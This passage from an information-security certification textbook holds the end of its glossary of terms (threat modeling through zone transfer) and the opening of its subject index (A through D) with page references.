responses to any menace or hazard presented by the latest attack vectors 
and actors emerging on the security horizon. 
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threat model A conceptual design that attempts to provide a framework 
on which to implement security efforts. 


threat modeling tool A tool used to assess the points at which an 
application faces threats. 


Threat Modeling Tool (formerly SDL Threat Modeling Tool) A threat 
modeling tool that identifies threats based on the STRIDE threat 
classification scheme. 


three-legged firewall A firewall configuration that has three interfaces: 
one connected to the untrusted network, one to the internal network, and 
the last to a part of the network called a DMZ. 


threshold An information security governance component which ensures 
that security issues do not progress beyond a configured level. 


throughput rate The rate at which a biometric system is able to scan 
characteristics and complete analysis to permit or deny access. The 
acceptable rate is 6 to 10 subjects per minute. A single user should be able 
to complete the process in 5 to 10 seconds. 


time of check/time of use An attack in which a system is changed 
between a condition check and the display of the check’s results, allowing 
what should be disallowed actions. 


time to live (TTL) A setting that determines how long a DNS record will 
live before it needs to be refreshed. 


Time-Based One-Time Password Algorithm (TOTP) An algorithm that 
computes a password from a shared secret and the current time. 


token A hardware device that stores digital certificates and private keys. 


token device A handheld device that presents an authentication server 
with the one-time password. 


tokenization An emerging standard for mobile transactions that uses 
numeric tokens to protect cardholders’ sensitive credit and debit card 
information. 


tool-assisted code review Code review that uses automated testing tools. 


topology discovery A process that entails determining the devices in the 
network, their connectivity relationships to one another, and the internal IP 
addressing scheme in use. 


TOS See trusted operating system. 
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total cost of ownership (TCO) A measure of the overall costs associated 
with securing an organization, including insurance premiums, finance 
costs, administrative costs, and any losses incurred. This value should be 
compared to the overall company revenues and asset base. 


TOTP See Time-Based One-Time Password Algorithm. 
TPM See Trusted Platform Module. 


tracert A command used to trace the path of a packet through the network. 
Called traceroute in Linux and UNIX. 


Transaction Signature (TSIG) A cryptographic mechanism used with 
DNSSEC that allows a DNS server to automatically update client resource 
records if their IP addresses or hostnames change. 


transport encryption A type of encryption which ensures that data is 
protected when it is transmitted over a network or the Internet. 


Transport Layer Security (TLS) An open-community standard that 
provides many of the same services as SSL. 


transport mode An IPSec mode that protects only the message payload. 


Triple DES (3DES) A version of DES that increases security by using 
three 56-bit keys. 


trunk link A link between switches and between routers and switches that 
carries the traffic of multiple VLANs. 


Trusted Data Format A new technology that uses a protective wrapper 
containing your content. 


trusted operating system (TOS) An operating system that provides 
sufficient support for multilevel security and evidence of correctness to 
meet a particular set of government requirements. 


Trusted Platform Module (TPM) A security chip installed on a 
computer’s motherboard that is responsible for managing symmetric and 
asymmetric keys, hashes, and digital certificates. 


trusted third-party, or bridge, model A federation model in which each 
organization subscribes to the standards of a third party. 


TrustedSolaris A set of security extensions incorporated in the Solaris 10 
trusted OS. 


Tshark A command-line tool that can capture packets on Linux and UNIX 
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platforms, much like tcpdump. 
TSIG See Transaction Signature. 
TTL See time to live. 


tunnel mode An IPsec mode that protects payload, routing, and header 
information. 


Twofish A version of Blowfish that uses 128-bit data blocks using 128-, 
192-, and 256-bit keys and performs 16 rounds of transformation. 


Type 1 (or native, bare metal) hypervisor A hypervisor that runs directly 
on the host’s hardware to control the hardware and to manage guest 
operating systems. 


Type 2 hypervisor A hypervisor that runs within a conventional operating 
system environment. 


US-CERT See U.S. Computer Emergency Readiness Team. 


U.S. Computer Emergency Readiness Team (US-CERT) A group that 
works closely with CERT to coordinate responses to cybersecurity threats. 


UEFI See unified extensible firmware interface. 


unified extensible firmware interface (UEFT) An alternative to using 
BIOS to interface between the software and the firmware of a system. 


unified threat management (UTM) A device that combines a traditional 
firewall with content inspection and filtering, spam filtering, intrusion 
detection, and antivirus. 


unit testing Testing of pieces or modules of code that are later assembled 
to yield the final product. 


usability The ease with which a security solution or device can be used 
and how well it suits organization needs and requirements. 


USB on-the-GO (USB OTG) A specification first used in late 2001 that 
allows USB devices, such as tablets or smartphones, to act as either USB 
hosts or a USB devices. 


USB OTG See USB on-the-GO. 
US-CERT See U.S. Computer Emergency Readiness Team. 


user acceptance testing Testing which ensures that the customer (either 
internal or external) is satisfied with the functionality of the software. 
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UTM See unified threat management. 


validation testing Testing that determines whether the original purpose of 
software has been achieved. 


vascular scan A scan of the pattern of veins in a user’s hand or face. 
VDI See virtual desktop infrastructure. 


verification testing Testing that determines whether the original design 
specifications have been met. 


versioning A system that helps ensure that developers are working with 
the latest versions and eventually that users are using the latest version. 


vertical privilege escalation A process in which a lower-privilege user or 
application accesses functions or content reserved for higher-privilege 
users or applications. 


video conferencing Services and software that allow for online meetings 
with video capability. 


virtual desktop infrastructure (VDI) An infrastructure that hosts desktop 
operating systems within a virtual environment in a centralized server. 


virtual firewall A software or hardware firewall that has been specifically 
created to operate in the virtual environment. 


virtual local area network (VLAN) A logical subdivision of a switch that 
segregates ports from one another as if they were in different LANs. 


Virtual Network Computing (VNC) A remote desktop control system 
that operates much like RDP but uses the Remote Frame Buffer protocol. 


virtual private network (VPN) A network whose connections use an 
untrusted carrier network but provide protection of the information 
through strong authentication protocols and encryption mechanisms. 


virtual switch A software application or program that offers switching 
functionality to devices located in a virtual network. 


virtual Trusted Platform Module (VTPM) A software object that 
performs the functions of a TPM chip. 


VLAN See virtual local area network. 


VM escape An attack in which the attacker “breaks out” of a VM’s 
normally isolated state and interacts directly with the hypervisor. 


VNC See Virtual Network Computing. 
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Voice over IP (VoIP) A phone system that utilizes the data network and 
packages voice information in IP packets. 


voice pattern or print A scan that measures the sound pattern of a user 
Stating a certain word. 


VoIP See Voice over IP. 
VPN See virtual private network. 


V-shaped model A development method that departs from the Waterfall 
method in that verification and validation are performed at each step. 


VTPM See virtual Trusted Platform Module. 


vulnerability cycle A cycle that explains the order of vulnerability types 
that attackers run through over time. 


vulnerability An absence or a weakness of a countermeasure that is in 
place. Vulnerabilities can occur in software, hardware, or personnel. 


vulnerability scanner Software that can probe for a variety of security 
weaknesses, including misconfigurations, out-of-date software, missing 
patches, and open ports. 


vulnerability test A test that focuses on identifying vulnerabilities without 
exploiting them. 


WAF See web application firewall. 
WASC See Web Application Security Consortium. 
WAYF See Where Are You From. 


web application firewall (WAF) A device that applies rule sets to an 
HTTP conversation. These sets cover common attack types to which these 
session types are susceptible. 


Web Application Security Consortium (WASC) An organization that 
provides best practices for web-based applications along with a variety of 
resources, tools, and information that organizations can make use of in 
developing web applications. 


web conferencing Services and software that allow for chatting, sharing 
documents, and viewing the screen of a presenter. 


Web Services Security (WS-Security) An extension to SOAP that is used 
to apply security to web services. 


whaling A subset of spear phishing that targets a single person who is 
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significant or important. 


Where Are You From (WAYF) An SSO system that allows credentials 
to be used in more than one place. It has been used to allow users of 
institutions that participate to log in by simply identifying the institution 
that is their home organization. That organization then plays the role of 
identity provider to the other institutions. 


white-box testing Testing in which the team goes into the process with a 
deep understanding of the application or system. 


white hat An entity that breaks into an organization’s system(s) but does 
not have malicious intent. 


white team A group of technicians who referee the encounter between the 
red team and the blue team in a pen test. 


Whois A protocol used to query databases that contain information about 
the owners of Internet resources, such as domain names, IP address blocks, 
and autonomous system (AS) numbers used to identify private Border 
Gateway Protocol (BGP) networks on the Internet. 


wildcard certificate A public key certificate that can be used with 
multiple subdomains of a domain. 


wireless controller A centralized appliance or software package that 
monitors, manages, and controls multiple wireless access points. 


Wireshark One of the most widely used protocol analyzers. 


work recovery time (WRT) The difference between RTO and MTD, 
which is the remaining time that is left over after the RTO before reaching 
the maximum tolerable downtime. 


WRT See work recovery time. 


XN bit (never execute bit) A method for specifying areas of memory that 
cannot be used for execution. 


XSS See cross-site scripting. 


zero knowledge proof A technique used to ensure that only the minimum 
needed information is disclosed, without all the details. 


zero-day attack An attack on a vulnerable security component of an 
application or operating system that targets a vulnerability not yet known 
to the developers of the software. 
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zero-knowledge test A pen test in which the testing team is provided with 
no knowledge regarding the organization’s network. 


zero-trust model A model in which a privilege is granted to a user only 
when absolutely required. 


zone transfer The replication of the records held by one DNS server to 
another DNS server. 
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corrective controls, 103 
DAG, 81 
data flow enforcement, 243 
detective controls, 103 
deterrent controls, 103 
directive controls, 103 
IP-based access control, 277 
logical (technical) controls, 106-107 
physical controls, 107-108 
preventive controls, 104 
RBAG, 81 
recovery controls, 104 
selecting/implementing based on CIA requirements, 102 
accountability and audits, 52 
accounts 
lockout policies, passwords, 543 
managing, 540-541 
policies (Group Policy), 300 
accreditation, 666, 676 
accuracy (biometrics), 546 
ACL (Access Control Lists), 54, 210, 246-247, 304-305, 488, 553, 658 
acquisition/development stage (SDLC), 666-668 
acquisitions 
integrated solutions, 501 
mergers and, 42-44 
software, 679 
action factor authentication, 538 
activation/deactivation (unauthorized), wearable technology 
security/privacy, 349 
Active Directory, IPsec policies (Group Policy), 301 
active fingerprinting tools, 386 
ActiveX, 373 
AD (Active Directory), 565-566 
Ad Hoc mode (WLAN), 309 
Adams and CAST, Carlisle, 585 
adapt solutions, 706-709 
ADC (Application Delivery Controllers), 211 
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add-ons (browser extensions), 373-374 
AddressSanitizer, runtime debugging, 385 
Adleman and RSA, Leonard, 586-587 
administration 

database administration, 719-720 

executive administration, 104-105, 720-726 

management controls, 104-105, 720-726 

network administration, 720 

remote administration, 618 

security, 105, 724 
AES (Advanced Encryption Standard), 583-585, 620 
after-action reports (incident response/recovery), 177, 481 
agent-based log collection (SIEM), 425 
agentless log collection (SIEM), 425 
agentless NAC (Network Access Control), 271 
aggregate CIA scoring, 101-102 
aggregating data, data security in integrated solutions, 498 
Agile model, software development, 694-697 
agreements, 75-77, 249 
AH (Authentication Headers), 216, 580 
AI (Artificial Intelligence) 

identity management, 708 

security trends/threats, researching, 653 
AIK (Attestation Identity Keys), TPM chips, 320, 558 
air gaps, 269 
AJAX (Asynchronous JavaScript and XML), 374 
ALE (Annualized Loss Expectancy), magnitude of risk (risk impact), 

128 

alerts, 259-260 
analyzing 

behavioral analytics, 460, 708 

code, 683-688 

communications analysis, 464 

content analysis, 464 

context analysis, 464 

cost/benefits, 186 

data analysis, 455, 460 
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data flow security for changing business needs, 487-488 
forensic analysis (incident response/recovery), 464 
log reduction/analysis tools, 425-426, 438-439, 464 
media, 464 
Microsoft Baseline Security Analyzer, 428 
network analysis, 464 
protocol analyzers, 257-258 
risk analysis, 126-127, 678 
root-cause analysis (incident response/recovery), 480 
security solutions, 183-186 
slack space analysis, 464 
software, 464 
steganography analysis, 464 
test coverage analysis, 687 
trend analysis, 130, 182, 424 
Android 
APK format, 334 
fragmentation, mobile device security/privacy, 340 
Lost Android app, 332 
remote wiping, 332 
SEAndroid, trusted OS, 289 
anomaly-based IDS/IPS, 196 
anti-tamper technology, 338 
antimalware, 291, 522 
antispam services, clouds, 523 
antispyware, 291 
antivirus software, 291, 439 
AP (Access Points), 208-209, 239, 308 
API (Application Programming Interfaces), 337, 494, 581 
APK (Android Package) format, 334 
Apktool, 441 
Apple, Xcode 7, 334 
applications 
API, interoperability issues with integrated solutions, 494 
blacklists, 299, 360-362 
client-based application virtualization (application streaming), 322-323 
client-side processing versus server-side processing, 371-376 
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Compatibility tab, 492 

DAM, 371 

deploying, secure design, 356 

digital certificates, 606 

geofencing, 335 

in-house developed applications/software, 493 
integration solutions, 487-507 

managing, 56, 331 

mobile applications, social media attacks, 390 
OWASP, 355, 362 

permissions, mobile devices, 333 

proxies, 203-204, 233, 236 

requirements, interoperability issues with integrated solutions, 492 
resource provisioning/deprovisioning, 501 
sandboxing, 370 

secure design, 355 

secure enclaves, 371 

security frameworks, SDLC, 677 
server-based application virtualization (terminal services), 322-323 
sharing, 619-620 

side loading, 334 

standard libraries, 679 

streaming, 322-323 

system applications, 334 

unsigned applications, 334 

updates, 670 

vulnerabilities, 356-370 

WAF, 371 

whitelists, 299, 360-362 

wrapping, 330 


AR (Augmented Reality), mobile device security/privacy, 345 
ARAT (Active Reader/Active Tag) RFID systems, 710 
ARCA. See RC4 

architectures 


architecture design (SDD), 701 
SOA, integration solutions, 506 
archiving data, 453-454 
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ARO (Annualized Rate of Occurrence), 128, 130 
ARPT (Active Reader/Passive Tag) RFID systems, 710 
ASLR (Address Space Layout Randomization), 682 
assertion tickets, 560 
assessments 

onsite assessments, 53 

risk assessments, 125-126, 137-140 

security assessments, 383-405, 411-444 

self-assessments (security-based), 402 

tools, 411, 414-444 

vulnerability assessments, 401-402, 647, 667, 670, 675 
assets 

commissioning/decommissioning, 668-669 

critical asset distribution, 495 

disposal of, 672-673 

inventory control, 450-451 

managing (inventory control), 709 

reusing, 673 

tangible/intangible value/costs (risk assessments), 138-139 
assigning system ports, 264 
assurance (software) 

acquiring software, 679 

auditing, 677 

development best practices, 680-688 

logging, 677 

risk analysis/mitigation, 678 

standard libraries, 679 
asymmetric cryptography, 585-591, 602-603, 610 
attacks 

assumed likelihood of attacks, 496 

attack surfaces, 206, 675 

authentication attacks, 258 

Bluejacking, 307 

Bluesnarfing, 307 

brute force attacks, 427 

buffer overflow attacks, 364-366 

click-jacking, 358 
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client-side attacks, 644 

CSRF, application vulnerabilities, 357 
DDoS attacks, 266 

dictionary attacks, 427 

DNS harvesting, 395 

DoS attacks, 266, 621, 626, 630-631 
drive-by download attacks, 377 
dronejacking, 647 

dumpster diving, 389 

eavesdropping, 414. See also packets, sniffing 
fault injection attacks, 363-364, 684 
firewall attacks, 258 

honenets, 647 

honeypots, 647 

hopping attacks, 261-262 

identity theft, 389 

integer overflow attacks, 367 
IPS/IDS, 258 

latest attacks, researching, 644-645 
live migration, 529 

LPE attacks, 377 

malware, 291, 630 

man-in-the-middle attacks, 218 

NOP slides, 365-366 

pharming, 389 

phishing, 388, 659 

poisoning DNS caches, 506 

privilege elevation, 528 

race conditions, 367-368 
reconnaissance (information-gathering), 385 
resource exhaustion, 368 

session hijacking, 359 

shoulder surfing, 389 

snooping, VoIP, 631 

social engineering attacks, 388-389, 626, 659 
spam, 292, 628-629 

spoofing attacks, 261, 628 


1007 


spyware, 291 
SQL injection attacks, 360-362 
switch spoofing, 261 
time of check/time of use attacks, 367-368 
viruses, 291 
VLAN hopping, 261-262 
VMEscape, 527 
whaling, 629 
XSS, application vulnerabilities, 356 
zero-day attacks, 647 
attestation, 557 
boot loaders, 319 
SAML, 560-562 
TPM chips, 558 
Au (Authentication) metric, CVSS, 417 
audio 
A/V systems, 278-279 
conferencing, 623 
output, host security, 314 
auditing, 719 
audit logs, 255 
audit trails, 88, 296 
auditing/monitoring services, data flow enforcement, 243 
auditors, risk management, 52 
code audits, 718 
endpoint security, 295-297 
incident response/recovery, 461 
internal/external audits, 403, 404 
ISO, 52 
SAS 70, 403 
scrubbing, 296 
security audits, 88 
SOC reports, 404 
software assurance, 677 
SSAE 16 audits, 404 
Windows audit policies, 297 
authentication 
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802.1, 226, 235 

802.1x, 549 

account management, 540-541 

action factor authentication, 538 

AD, 565-566 

AH, 216 

authentication attacks, 258 

biometrics, 343-344, 539, 546-547 
certificate-based authentication, 548 
CHAP, 224-225, 394 
characteristic factor authentication, 538-539, 544-547 
context-aware authentication/management, 334, 550 
dual-factor authentication, 548 

EAP, 225-226 

geolocation, 335 

gestures, 343 

HOTP algorithm, 540 

HSM, 211-212, 233 

identification and the authentication process, 537 
identity management, 540, 559-563 
identity proofing, 558 

identity propagation, 558 

IKE, 581 

Kerberos, 565 
knowledge factor authentication, 538 
LDAP, 564-565 

location factor authentication, 538 

MD5 authentication, 266 

message authentication, 577-578 

mobile devices, 342-344 

multi-factor authentication, 548 

network authentication, 224-226, 235 
OSA, 312 

ownership factor authentication, 538-539 
PAP, 224-225, 394 

passwords, 541-544 

PIN, 343 
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ports, 226, 235 
proximity authentication devices, 442 
push-based authentication, 550 
RADIUS, 226, 563-564 
SAML, 560-562 
single-factor authentication, 538 
SKA, 313 
SSL, 579, 595 
SSO, 540, 548-549, 558-560, 563-565 
swipe patterns, 343 
system failures, cloud storage, 337 
TACACS+, 226 
TLS, 579, 595 
TOTP algorithm, 540 
Type III authentication. See characteristic factor authentication 
user behavior, 335 
WPA-PSK, 313 
author identification, software analysis, 464 
authorization 
access control models, 550-553 
attestation, 557 
OAuth, 553 
SPML, 556 
XACML, 555-556 
automation 
BACnet, 276 
building automation systems, 274 
patch management, 302 
resiliency issues with integrated solutions, 495 
SCAP, 437 
AV (Access Vector) metric, CVSS, 417 
availability 
availability controls, 248-253 
CIA triad, categorizing data, 99 
high availability, resiliency issues with integrated solutions, 496 
presence, 626-627 
security solutions, analyzing, 185 


1010 


virtualization, 513 
avoid risk reduction strategy, 135 
AVS (Active Vulnerability Scanners), 214 
awareness training, 86-87, 105 


B 


backups, 338, 453, 465-469, 719 
BACnet (Building Automation and Control Network), 276 
base metric group (CVSS), 416 
baseband radio/SOC, mobile device security/privacy, 345 
Basel IT, 48 
baselines 

benchmark comparisons, 181-182 

capturing, 181-182 

clipping levels, 543 

defined, 167, 181 

host security, 298 

Microsoft Baseline Security Analyzer, 428 

performance baselines, 669 
bastion hosts, 206, 237 
BCP (Business Continuity Planning), 141-148 
behavioral analytics, 460, 708 
behavioral characteristics (authentication), 539, 545-546 
benchmarks, capturing, 181-182 
benefit/cost analysis, analyzing security solutions, 186 
best practices, researching security trends/threats, 640-641 
BGP (Border Gateway Protocol), RTBH routing, 267 
BIA (Business Impact Analysis), 72, 145 
bidding (RFQ), 76 
big data, researching security trends/threats, 652-653 
biometrics, 343-344, 539, 546-547 
BIOS, 316-318 
BitLocker, 320 
BitLocker Drive Encryption, 719 
BitLocker to Go, 320 
black box (zero-knowledge) testing, 400-401 
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black hats, 655-656 
blacklists, 299, 360-362 
blind penetration testing, 399 
block ciphers, 582-585, 597-602 
block-level encryption, 589 
blockchains, 609, 709 
Blowfish, 584-585 
blue team exercises, security assessments, 405 
Bluetooth 
Bluejacking, 307 
Bluesnarfing, 307 
host security, 306 
tethering, 342 
wearable technology security/technology, 349 
boot loaders, 316-320, 520 
booting (secure) and SoC, 271 
boundaries (networks) 
boundary control services, data flow enforcement, 243 
de-perimeterization, 54-59 
BPA (Business Partnership Agreements), 74 
breaches (data) 
central security breach response, SoC, 274 
cloud storage, 337 
defined, 454 
incident response process, 454-457, 461-463, 470-471 
internal/external violations, 458-459 
severity of, 478-480 
bridge (trusted third-party) model (federated identities), 560 
bridges 
transparent bridging, 201 
unauthorized domain bridging, 344 
browser extensions (add-ons), 373-374 
brute force attacks, 427 
BSI (Build Security In), software development best practices, 680 
buffer overflow attacks, 364-366 
build and fix software development method, 689 
Burp Suite, 422 
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business models/strategies, 40-44 
business units 
collaboration in security solutions, 725-726 
security controls/processes, 724-725 
security requirements/goals, 717-724 
BYOD (Bring Your Own Device) policies, 56-57, 68, 332 


C 


C (Confidentiality) metric, CVSS, 417 
CA (Certificate Authorities), 548, 604-607 
cable locks, 444 
Cain and Abel, 427 
cameras 
IR cameras, 444 
wearable cameras, 346 
CANVAS, 423 
CAPTCHA passwords, 542 
capturing 
data, web conferences, 621 
email messages, 629 
packets, 657 
CASB (Cloud Security Broker), 526 
CAST, 585 
categorizing data, 98-102 
CBC (Cipher Block Chaining) mode (DES), 599 
CBC-MAC (Cipher Block Chaining MAC), 577 
CC (Common Criteria), 287-289. See also TCSEC 
CCE (Common Configuration Enumeration), SCAP scanners, 416 
central security breach response, SoC, 274 
CEO (Chief Executive Officers), 720, 726 
CER (Crossover Error Rates), biometrics, 546-547 
CERT (Computer Emergency Readiness Teams), 654, 700 
certificates 
accreditation process, 666 
applications, 606 
authentication, 548 


1013 


certification/accreditation phase (SDLC), 676 
classes, 607 
CRL, 604 
defined, 666 
issuance of, 604 
OCSP, 604, 608 
RA, 605 
SCEP, 332 
tokens, 607 
user credentials, 605 
wildcard certificates, 603-604 
X.509 certificates, 606 
CFAA (Computer Fraud and Abuse Act), 47 
CFB (Cipher Feedback) mode (DES), 600 
CFO (Chief Financial Officers), security requirements/goals, 721 
chain of custody (incident response/recovery), 461-463, 470-471 
change control process, 481 
change management, 670-672, 677 
change monitoring, 247-248 
CHAP (Challenge Handshake Authentication Protocol), 224-225, 394 
characteristic factor authentication, 538-539, 544-547 
CI (Configuration Items), 672 
CI (Continuous Integration), software development, 698 
CIA (Confidentiality, Integrity, Availability) triad, 98-102, 571 
CIO (Chief Information Officers), security requirements/goals, 721 
CIP (Critical Infrastructure Protection) plans, 144 
cipher locks, 442 
circles of trust, SAML, 560 
circuit-level proxies, 203-204, 233, 236 
CIS (Center for Internet Security), Critical Security Controls, 118-119 
classifying information, 89-90 
Cleanroom model, software development, 695 
clearing data, 369, 454, 497 
click-jacking, 358 
clients 
application virtualization (application streaming), 322-323 
client-side attacks, 644 
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risk management, client requirements, 53 
server-side processing versus client-side processing, 371-376 
clipping levels, 543 
cloud computing 
antimalware, 522 
antispam services, 523 
antivirus software, 439, 522 
backups, 469 
CASB, 526 
collaboration, 633-634 
community clouds, 42, 514 
content filtering, 525 
critical assets, separating, 268 
data storage, 337 
de-perimeterization, 55 
elasticity, 42 
end-user cloud storage, 650 
hash matching, 522 
hosted solution, 515 
hybrid clouds, 42, 514 
latest attacks, researching, 645 
MSSP, 527 
multitenancy model, 515-516 
on-premise solution, 515 
private clouds, 42, 513-514, 651 
public clouds, 41, 513-516, 651 
resource provisioning/deprovisioning, 531 
risk management, 41-42, 55 
sandboxing, 525 
SecaaS, 527 
single-tenancy model, 515 
SLA, 531 
virtualization, 513, 527-530 
vulnerability scanning, 523-524 
clustering, 253 
CMAC (Cipher MAC), 578 
CMDB (Configuration Management Database), 505 
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CMMI (Capability Maturity Model Integration), 123 
CMS (Content Management System), 505 
CNAME records (DNS), 395 
COBIT (Control Objectives for Information and Related Technology), 
114-115 
coding 
analyzing code, 683-688 
audits, 718 
dynamic testing, 686 
forbidden coding techniques, 681-682 
formal code reviews, 686 
fuzzing, 683-684 
interface testing, 688 
lightweight code reviews, 686 
misuse case (negative) testing, 687 
quality of, 683 
reusing code, application vulnerabilities, 370 
reviews, 387-388 
secure coding standards, 700 
signing, 578 
software development best practices, 681-688 
Static testing, 686 
test coverage analysis, 687 
cognitive passwords, 542 
collaboration 
audio conferencing, 623 
cloud-based collaboration, 633-634 
color teams, security assessments, 405 
document collaboration tools, 624-625 
email, 627-632 
IM, 625-626 
presence (user availability), 626-627 
security risks, 625 
security solutions, 725-726 
social media, 632 
storage collaboration tools, 624-625 
telephony systems, 630-632 
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texting, 625-626 
video conferencing, 622-623 
web conferencing, 621-622 
combination locks, 443 
combination passwords, 541 
command shell, host security, 301 
command-line tools, 429-438 
comments, RFC, 643 
commercial business classifications (information classification), 89-90 
commercial customized (tailored commercial) software, 493 
commissioning/decommissioning assets, 668-669 
communications 
analysis, 464 
crisis communications plans, 144 
encrypted/unencrypted communication, 349 
remote access, 617-621 
wearable technology security/privacy, 349 
community clouds, 42, 514 
compartmentalization, 81 
Compatibility tab (applications), 492 
compensative controls, 103 
competing standards, integration solutions, 490 
competitors, risk management, 52 
complex passwords, 542 
compliance, 726-727 
Computer Security Act, 47 
conferencing, 621-623 
confidentiality (CIA), categorizing data, 98-100 
configuration profiles (MDM), payloads, 329 
configuring 
configuration lockdown, 248 
managing configurations, 671-672, 677 
misconfigurations/nonmalicious threats, 459 
network components, 246-253 
consultants/vendors, 41, 655 
containers 
containerization, defined, 329 
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Group Policy (Windows), 300 
virtualization, 520 
containment technologies, 709-711 
content analysis, 464 
content-aware authentication/management, 334 
content-dependent access control, 498, 552 
content filtering, clouds, 525 
content management, mobile devices, 331 
context analysis, 464 
context-aware (context-dependent) authentication, 550 
context-dependent access control, 498 
contingency planning, 144, 148 
continuity planning, 141-148, 465 
continuous monitoring, 86, 141 
contracting phase (software acquisitions), 679 
contracts, 41, 75-77 
control plane (networks), 254 
conventions/conferences, 654-655 
cookies, storing/transmitting, 364 
COOP (Continuity of Operations Plan), 144, 465 
COPE (Corporate-Owned, Personally Enabled) policies, 332 
copy backups, 467 
corrective controls, 103 
COSO (Committee of Sponsoring Organizations), 119, 163 
costs 
analysis of (security solutions), 186 
asset value/costs (tangible/intangible), risk assessments, 138-139 
information value/costs (tangible/intangible), risk assessments, 138-139 
repair costs, 131 
ROI, 131, 186 
severity of data breaches, 479 
TCO, 133-134, 186 
COTS (Commercial-Off-The-Shelf) software, 493-494 
coverage gap detection, wireless controllers, 209 
CPE (Common Platform Enumeration), SCAP scanners, 416 
CPO (Chief Privacy Officers), security requirements/goals, 721 
crackers, 656 
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CRAMM (CCTA Risk Analysis and Management Method), 123 
credential breaches, 624 
credit card readers (peripheral-enabled mobile payments), 341 
credit card security, 580, 590 
CredSSP (Credential Security Support Provider), identity 
propagation, 559 
crisis communications plans, 144 
critical assets, 268, 495 
Critical Security Controls (CIS), 118-119 
critical systems, 479 
criticality (system process), severity of data breaches, 479 
CRL (Certificate Revocation Lists), 604 
CRM (Customer Relationship Management), 504 
cross-certification model (federated identities), 559 
CRR (Cyber Resilience Review) assessments, 168-169 
crypto processing, HSM, 211-212, 233 
cryptography 
asymmetric cryptography, 586-591, 610 
block ciphers, 597-598 
blockchain, 609 
CIA triad, 571 
code signing, 578 
cryptocurrencies, 609 
crypto modules, 592 
crypto processors, 593 
CSP, 593 
data flow enforcement, 243 
data-at-rest encryption, 581-591, 602-603 
data-in-memory/processing, 581 
data-in-transit encryption, 579-580, 595 
digital signatures, 576-577 
digital watermarking, 591, 594 
DRM, 593-594 
encryption, 571, 581-602, 610 
GPG, 594 
hashing, 572-577 
implementing algorithms, 596-597 
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interoperability of algorithms, 596-597 

key stretching, 572 

message authentication, 577-578 

performance of algorithms, 596-597 

PFS, 578 

PGP, 594 

PKI /digital certificates, 603-608 

PRNG, 578 

public key cryptography, digital signatures, 577 

S/MIME, 596 

SSH, 595 

steganography, 591 

stream ciphers, 597-598 

strength of algorithms, 596-597 

symmetric cryptography, 588, 602 
CSO (Chief Security Officers), security requirements/goals, 721 
CSP (Cryptographic Service Providers), 593 
CSRF (Cross-Site Request Forgery), application vulnerabilities, 357 
CTR (Counter) mode (DES), 601 
Cuckoo malware sandboxing tool, 383 
custody, chain of (incident response/recovery), 461-463, 471 
customer requirements, risk management, 53 
CVE (Common Vulnerabilities and Exposures), SCAP scanners, 416 
CVSS (Common Vulnerability Scoring System), 416-418 
CWE (Common Weakness Enumeration), SCAP scanners, 416 
cyber incident response plans, 144 
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DAC (Discretionary Access Control), 81, 551 
daily backups, 467 
DAM (Database Activity Monitoring), 214, 240, 371, 634 
DAP (Directory Access Protocol), 564 
data 
aggregation, data security in integrated solutions, 498 
analytics, 455, 460 
archives, 453-454 
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breaches, 337, 454-463, 470-471, 478-480 
capturing, web conferencing, 621 
categorizing, 98-102 

clearing, 369, 454 

compromise, ROI, 131 

design (SDD), 701 

exfiltration, 242, 293 

flow, 241-245, 487-488 

forensic data, 350 

formats, 493-494 

handling policies, 453-454 

havens, 50 

inference, 498 

integrity, 579, 595 

interfaces, host security, 305 

isolation, data security in integrated solutions, 498 
jurisdiction, public clouds, 516 

leakage, 293, 621 

loss, ROI, 131 

management, mobile devices, 331 
normalization, 494 

ownership of, 43, 452, 499 

purging, 369, 453 

reclassification of, 44 

recovery, 451-452 

remnants, 369, 497-498, 501, 529-531, 673 
retention policies, 451, 500 

security, integrated solutions, 497-500 
sovereignty of, 50-51, 499 

Storage, 336-338, 362, 451-452 

theft (personal), wearable technology security/privacy, 350 
warehouses, 494 

data plane (networks), 254 

Data Protection Directive (EU), 49 
data-at-rest encryption, 581-591, 599-603, 610 
data-in-memory/processing, 581 
data-in-transit encryption, 579-581, 595 
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databases 
administration, 719 
CMDB, 505 
DAM, 214, 240, 371, 634 
heterogeneous databases, 494 
permissions, granting, 719 
RDBMS, 558 
security requirements/goals, 719 
dcfldd command, 471 
dd command, 471 
DDoS (Distributed Denial-of-Service) attacks, 266 
de facto standards, integrated solutions, 490 
de-perimeterization, 54-59 
deactivation/activation (unauthorized), wearable technology 
security/privacy, 349 
debugging (runtime), 385 
deception technology, 708 
decommissioning/commissioning assets, 668-669 
deconstructing/reverse engineering security solutions, 177 
dedicated interfaces, host security, 303-305 
deep packet inspection, 242 
default to no access (authorization), 553 
DEFCON conference, 655 
Deleaker, runtime debugging, 385 
delegation in networks, integrated solutions, 502 
Delphi technique, 126 
demergers/divestitures, 42-44, 501 
deploying 
applications, secure design, 356 
deployment diagrams, integrated solutions, 502-504 
deprovisioning/provisioning resources, integrated solutions, 500-501, 
531 
DES (Digital Encryption Standard), 582, 585, 599-601 
DES-X (Digital Encryption Standard X), 583 
design phase (SDLC), 675 
designing 
applications, secure design, 355 
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integration solutions, 501 
desktops 

sharing, 619-620 

VDI, 521 
Destination Unreachable code (ping command), 432 
destruction/disposal 

data, 453-454, 497 

remanence, 454 

storage media, 453 
detective controls, 103 
deterrence 

deterrent controls, 103 

risk assessment, 140 
develop phase (SDLC), 675 
developing software 

acceptance testing, 704 

best practices, 680-688 

CI, 698 

documentation, 700-704 

integration testing, 705 

methods, 688-698 

peer reviews, 706 

regression testing, 706 

secure coding standards, 700 

unit testing, 704 

user acceptance testing, 705 

validation testing, 704 

versioning, 698 
development life cycles, 665-677 
development/acquisition stage (SDLC), 666-668 
device fingerprinting, 420 
device tracking, 709-711 
DevOps, software development, 695 
dex2jar, 441 
DFD (Data Flow Diagrams), 245 
dial-up connections, 617-618 
dictionary attacks, 427 
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differential backups, 466 
Diffie-Hellman, 586 
dig command, 435 
digital certificates, 603-608 
digital forensics, 350 
digital keys, HSM, 211-212, 233 
digital signatures, 576-577 
digital watermarking, 591, 594 
direct objects references (unsecure), application vulnerabilities, 356 
directive controls, 103 
Directory Services, 505, 564-565 
disaster recovery, 144, 465-469 
disclosure policies, 630 
disk encryption, 315, 320, 718 
disk imaging, 464 
disk-level encryption, 588-591 
disk mirroring. See RAID 
disk striping. See RAID 
disposal stage (SDLC), 667 
disposal/destruction 
assets, 672-673 
data clearing, 454 
data purging, 453 
remanence, 454 
storage media, 453 
disruptive technologies, addressing, 707-708 
diStorm3, 441 
diverse industries, integrating, 44-51 
divestitures/demergers, 42-44, 501 
